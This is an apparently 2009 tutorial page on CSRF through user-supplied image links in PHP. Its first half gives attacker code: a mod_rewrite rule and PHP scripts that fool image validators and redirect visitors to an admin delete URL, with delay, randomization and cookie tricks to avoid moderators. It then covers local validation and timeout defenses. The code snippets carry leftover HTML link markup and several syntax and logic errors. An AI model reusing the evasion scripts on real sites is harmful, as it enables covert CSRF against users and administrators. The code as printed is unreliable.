Share » Learn » eZ Publish » Dangers of CSRF and XSS

Dangers of CSRF and XSS

Monday 27 July 2009 1:59:13 am

  • Currently 5 out of 5 Stars.
  • 1
  • 2
  • 3
  • 4
  • 5

Alas, this safety mechanism can be easily bypassed; let's take a moment to explore how. First, the attacker will try to ensure that the basic extension checks pass, and provide a URL that really does look like a link to an image, for example http://hacker.com/me.jpg. This will ensure that validators looking for the proper image extension are not alerted. The next trick is to have me.jpg rewritten by mod_rewrite to a PHP script that will take the proper action, which gives an intruder maximum flexibility.

RewriteEngine on
RewriteRule ^/me.jpg$ hacker.php

At this point, any request to me.jpg will actually go to the hacker.php script instead; inside the script we can take a number of approaches to trick the validator. For example, if one knows the IP of the server the "check" request originates from, he can send them a valid image, while redirecting the rest to the URL of his choice.

if ($_SERVER['REMOTE_ADDR'] = '1.2.3.4') {
    <a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Content-Type: image/jpeg");
    <a href="http://www.php.net/readfile" mce_href="http://www.php.net/readfile">readfile</a>("./me.jpg");
} else {
    <a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Location: http://foobar.com/admin/delete_msg.php?=1";
}

Another approach that is more universal is to check for the presence of the HTTP_REFERER header provided by most browsers as a way to reference the page the user came from. When PHP makes a validation request via getimagesize() or the admin is manually accessing the link, this field is empty. Therefore we can base our content check on the presence of this header: if it exists, we'll try to perform the attack, and if it is not, we'll show a harmless image.

if (<a href="http://www.php.net/empty" mce_href="http://www.php.net/empty">empty</a>($_SERVER['HTTP_REFERER'])) {
    <a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Content-Type: image/jpeg");
    <a href="http://www.php.net/readfile" mce_href="http://www.php.net/readfile">readfile</a>("./me.jpg");
  } else {
    <a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Location: http://foobar.com/admin/delete_msg.php?=1");
}

In some cases our content may actually need to go through a validation process, such as a post approval on a blog or an avatar approval on a forum. If we use the previously shown tricks, an admin or moderator can spot our attack and do something about it. To avoid detection, we can time the launch of the attack by putting a 1-2 day delay inside our script or simply waiting until the content is approved before we start to execute the redirect. An additional trick can rely on random attacks, so that not every user will be affected. Also, we won't attack the same user twice, to further reduce our chances of detection.

$deployment_time = <a href="http://www.php.net/filemtime" mce_href="http://www.php.net/filemtime"filemtime</a>__FILE__);
if ($deployment_time > (<a href="http://www.php.net/time" mce_href="http://www.php.net/time">time</a>() + 86400 * 2) || <a href="http://www.php.net/isset" mce_href="http://www.php.net/isset">isset</a>($_COOKIE['h']) || !(<a href="http://www.php.net/rand" mce_href="http://www.php.net/rand">rand</a>() % 3)) {
<a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Content-Type: image/jpeg");
<a href="http://www.php.net/readfile" mce_href="http://www.php.net/readfile">readfile</a>("./me.jpg");
}
<a href="http://www.php.net/setcookie" mce_href="http://www.php.net/setcookie">setcookie</a>("h", "1", "hacker.com", <a href="http://www.php.net/time" mce_href="http://www.php.net/time">time</a>() + 86400 * 365, "/");
<a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Location: http://foobar.com/admin/delete_msg.php?=1");

In the new script there are three mechanisms in place that try to thwart detection. First of all, assuming each attack is its own script, we will not attempt to cause trouble for two days after deployment. This will ensure in most cases that we will be able to bypass the initial validation process if one exists. Then, a cookie is used to keep track of the user and ensure we that we only attack the same person once. Finally, we will also randomize the attack process, showing the redirect on approximately every third request.

So what can be done about this problem? There are two solutions. The first one involves disabling the ability for a user to supply any image links. While this seems to be the safest and simplest way out, for many developers it presents an unwelcome loss of functionality. The other alternative involves downloading each image locally, validating it with the getimagesize() function, then storing the file on the server and modifying the image link to reference the local file.

<span>$img = "http://hacker.com/me.jpg";
file_put_contents<span>($img_store_dir.<a href="http://www.php.net/md5" mce_href="http://www.php.net/md5">md5</a>($img), <a href="http://www.php.net/file_get_contents" mce_href="http://www.php.net/file_get_contents">file_get_contents</a>($img));
$i = <a href="http://www.php.net/getimagesize" mce_href="http://www.php.net/getimagesize">getimagesize</a>($img_store_dir</span>.<a href="http://www.php.net/md5" mce_href="http://www.php.net/md5">md5</a>(>$img));
if (!$i && $i[0] > $max_width && $i[1] > <span>$max_height){
    <a href="http://www.php.net/unlink" mce_href="http://www.php.net/unlink"><span>unlink</a>($img_store_dir</span>.<a href="http://www.php.net/md5" mce_href="http://www.php.net/md5">md5</a>($img));
}
<a href="http://www.php.net/rename" mce_href="http://www.php.net/rename">rename</a>($img_store_dir.<a href="http://www.php.net/md5" mce_href="http://www.php.net/md5">md5</a>($img), 
$img_store_dir.<a href="http://www.php.net/md5" mce_href="http://www.php.net/md5">md5</a>($img)</span>.image_type_to_extension<span>($i[2]));

In the above example, the first action we perform is to download the image to a local file, place it inside our image store directory and assign a name based on the md5 hash of the URL. Once the file is downloaded, we proceed to validate it via the getimagesize() function. The reason for downloading to a local file first is to ensure that the potential hacker does not have a chance to modify the content between requests.

The output of the getimagesize() function is an array giving us all sorts of information about our image. If there is no returned array, we know the image is not valid. So, our validation check involves testing that we have an image, and then making sure its dimensions are within the allowed boundaries. In the event any of these checks fail, the offending file is removed. Finally, we rename the file, giving it an image extension based on its type to ensure that browsers can display the image.

There are several other issues with this approach, though. The first is that storing all images locally may be a very disk-consuming operation. Furthermore, serving all images sent by the user from the server may substantially increase the bandwidth utilization of the server, raising the hosting costs. These two problems may in part be alleviated by setting a size restriction on the image, but that does not solve the problem altogether.

Perhaps the biggest issue lies in the fact that having PHP download an external file is something that an attacker can abuse to launch a Denial of Service (DoS) attack against the server. To download a file, the first thing PHP needs to do is to establish a connection to a host server. If that server happens to be particularly slow, this can take a fair amount of time. During this time, the PHP process responsible for handling the request is waiting for a socket (a process that takes no CPU time, so maximum execution limit is not triggered). By default, this wait time lasts for a whooping 60 seconds, during which this process is unusable for operations. If every web server process can be made to perform the download, the server will become inaccessible to other users. Given that most servers allow less then 200 simultaneous connections, this is quite trivial to exploit. Fortunately, PHP provides a solution in the form of a default_socket_timeout INI setting that can be used to lower the connection timeout to a smaller, much safer value, like 2-5 seconds. This setting can be altered within the script itself and will affect all connections established by PHP via the streams API:

<a href="http://www.php.net/ini_set" mce_href="http://www.php.net/ini_set">ini_set</a>("default_socket_timeout", 5);

The above command will solve the connection problem, but it does not address the slow downloading of the image itself. This is further exacerbated by the fact that PHP will wait indefinitely for the content to arrive from the remote server; there isn't even a token limit as there is on the connection establishing process. Before you despair, there is a way to address that problem as well, by setting a read/write timeout value via the stream_set_timeout() function. However, it can only work with a stream resource, so we need to modify our image-reading code:

$fp = <a href="http://www.php.net/fopen" mce_href="http://www.php.net/fopen">fopen</a>($img_url, "r");
<a href="http://www.php.net/stream_set_timeout" mce_href="http://www.php.net/stream_set_timeout">stream_set_timeout</a>($fp, 1);
file_put_contents($destination_path, stream_get_contents($fp));
<a href="http://www.php.net/fclose" mce_href="http://www.php.net/fclose">fclose</a>($fp);

With the new code, we tell PHP to spend no more than a second waiting for the data to arrive at the socket. An even smaller timeout value can be set via the third argument of the stream_set_timeout() function, which times a microsecond value, so stream_set_timeout($fp,0,250000); would indicate a quarter of a second timeout.

But even with careful timeout setup, there is still room for abuse. The attacker simply needs to send data very slowly, let's say 5 bytes per second, just enough to avoid triggering our timeout. With just a 20 kilobyte image (20480 bytes), this would occupy the server for about 68 seconds. This problem is next to impossible to solve. The solution would require reading the image in one-byte chunks, continually testing the speed. If the connection is determined to be slower than the allowed minimum, the file would be rejected. This approach causes the expenditure of far more processing resources, which trades off one problem for another.

So what is the bottom line, as far as the images go? Well, short of removing the functionality and preventing their use altogether, all other solutions merely make attacks more difficult, but certainly not impossible.

36 542 Users on board!

Tutorial menu

Printable

Printer Friendly version of the full article on one page with plain styles

Author(s)